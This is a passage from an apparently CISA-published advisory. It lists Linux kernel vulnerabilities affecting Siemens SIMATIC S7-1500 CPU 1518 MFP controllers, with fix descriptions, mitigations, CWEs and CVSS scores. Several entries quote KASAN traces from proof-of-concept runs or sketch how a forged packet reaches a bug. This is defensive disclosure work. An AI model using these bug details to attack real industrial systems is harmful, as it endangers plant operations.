<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43024</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: reject immediate NF_QUEUE verdict nft_queue is always used from userspace nftables to deliver the NF_QUEUE verdict. Immediately emitting an NF_QUEUE verdict is never used by the userspace nft tools, so reject immediate NF_QUEUE verdicts. The arp family does not provide queue support, but such an immediate verdict is still reachable. Globally reject NF_QUEUE immediate verdicts to address this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43024">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/115.html">CWE-115 Misinterpretation of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43025</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: ignore explicit helper on new expectations Use the existing master conntrack helper, anything else is not really supported and it just makes validation more complicated, so just ignore what helper userspace suggests for this expectation. This was uncovered when validating CTA_EXPECT_CLASS via different helper provided by userspace than the existing master conntrack helper: BUG: KASAN: slab-out-of-bounds in nf_ct_expect_related_report+0x2479/0x27c0 Read of size 4 at addr ffff8880043fe408 by task poc/102 Call Trace: nf_ct_expect_related_report+0x2479/0x27c0 ctnetlink_create_expect+0x22b/0x3b0 ctnetlink_new_expect+0x4bd/0x5c0 nfnetlink_rcv_msg+0x67a/0x950 netlink_rcv_skb+0x120/0x350 Allowing to read kernel memory bytes off the expectation boundary. CTA_EXPECT_HELP_NAME is still used to offer the helper name to userspace via netlink dump.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43025">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: zero expect NAT fields when CTA_EXPECT_NAT absent ctnetlink_alloc_expect() allocates expectations from a non-zeroing slab cache via nf_ct_expect_alloc(). When CTA_EXPECT_NAT is not present in the netlink message, saved_addr and saved_proto are never initialized. Stale data from a previous slab occupant can then be dumped to userspace by ctnetlink_exp_dump_expect(), which checks these fields to decide whether to emit CTA_EXPECT_NAT. The safe sibling nf_ct_expect_init(), used by the packet path, explicitly zeroes these fields. Zero saved_addr, saved_proto and dir in the else branch, guarded by IS_ENABLED(CONFIG_NF_NAT) since these fields only exist when NAT is enabled. Confirmed by priming the expect slab with NAT-bearing expectations, freeing them, creating a new expectation without CTA_EXPECT_NAT, and observing that the ctnetlink dump emits a spurious CTA_EXPECT_NAT containing stale data from the prior allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43027</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_helper: pass helper to expect cleanup nf_conntrack_helper_unregister() calls nf_ct_expect_iterate_destroy() to remove expectations belonging to the helper being unregistered. However, it passes NULL instead of the helper pointer as the data argument, so expect_iter_me() never matches any expectation and all of them survive the cleanup. After unregister returns, nfnl_cthelper_del() frees the helper object immediately. Subsequent expectation dumps or packet-driven init_conntrack() calls then dereference the freed exp-&gt;helper, causing a use-after-free. Pass the actual helper pointer so expectations referencing it are properly destroyed before the helper object is freed. BUG: KASAN: slab-use-after-free in string+0x38f/0x430 Read of size 1 at addr ffff888003b14d20 by task poc/103 Call Trace: string+0x38f/0x430 vsnprintf+0x3cc/0x1170 seq_printf+0x17a/0x240 exp_seq_show+0x2e5/0x560 seq_read_iter+0x419/0x1280 proc_reg_read+0x1ac/0x270 vfs_read+0x179/0x930 ksys_read+0xef/0x1c0 Freed by task 103: The buggy address is located 32 bytes inside of freed 192-byte region [ffff888003b14d00, ffff888003b14dc0)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43027">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/459.html">CWE-459 Incomplete Cleanup</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43028</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: ensure names are nul-terminated Reject names that lack a \0 character before feeding them to functions that expect c-strings. Fixes tag is the most recent commit that needs this change.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43028">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/170.html">CWE-170 Improper Null Termination</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43030</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix regsafe() for pointers to packet In case rold-&gt;reg-&gt;range == BEYOND_PKT_END &amp;&amp; rcur-&gt;reg-&gt;range == N regsafe() may return true which may lead to current state with valid packet range not being explored. Fix the bug.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43030">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/372.html">CWE-372 Incomplete Internal State Distinction</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43033</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: authencesn - Do not place hiseq at end of dst for out-of-place decryption When decrypting data that is not in-place (src != dst), there is no need to save the high-order sequence bits in dst as it could simply be re-copied from the source. However, the data to be hashed need to be rearranged accordingly. Thanks,</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43033">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/237.html">CWE-237 Improper Handling of Structural Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43035</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: cls_api: fix tc_chain_fill_node to initialize tcm_info to zero to prevent an info-leak When building netlink messages, tc_chain_fill_node() never initializes the tcm_info field of struct tcmsg. Since the allocation is not zeroed, kernel heap memory is leaked to userspace through this 4-byte field. The fix simply zeroes tcm_info alongside the other fields that are already initialized.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: icmp: clear skb2-&gt;cb[] in ip6_err_gen_icmpv6_unreach() Sashiko AI-review observed: In ip6_err_gen_icmpv6_unreach(), the skb is an outer IPv4 ICMP error packet where its cb contains an IPv4 inet_skb_parm. When skb is cloned into skb2 and passed to icmp6_send(), it uses IP6CB(skb2). IP6CB interprets the IPv4 inet_skb_parm as an inet6_skb_parm. The cipso offset in inet_skb_parm.opt directly overlaps with dsthao in inet6_skb_parm at offset 18. If an attacker sends a forged ICMPv4 error with a CIPSO IP option, dsthao would be a non-zero offset. Inside icmp6_send(), mip6_addr_swap() is called and uses ipv6_find_tlv(skb, opt-&gt;dsthao, IPV6_TLV_HAO). This would scan the inner, attacker-controlled IPv6 packet starting at that offset, potentially returning a fake TLV without checking if the remaining packet length can hold the full 18-byte struct ipv6_destopt_hao. Could mip6_addr_swap() then perform a 16-byte swap that extends past the end of the packet data into skb_shared_info? Should the cb array also be cleared in ip6_err_gen_icmpv6_unreach() and ip6ip6_err() to prevent this? This patch implements the first suggestion. I am not sure if ip6ip6_err() needs to be changed. A separate patch would be better anyway.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43040</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak When processing Router Advertisements with user options the kernel builds an RTM_NEWNDUSEROPT netlink message. The nduseroptmsg struct has three padding fields that are never zeroed and can leak kernel data The fix is simple, just zeroes the padding fields.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43040">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
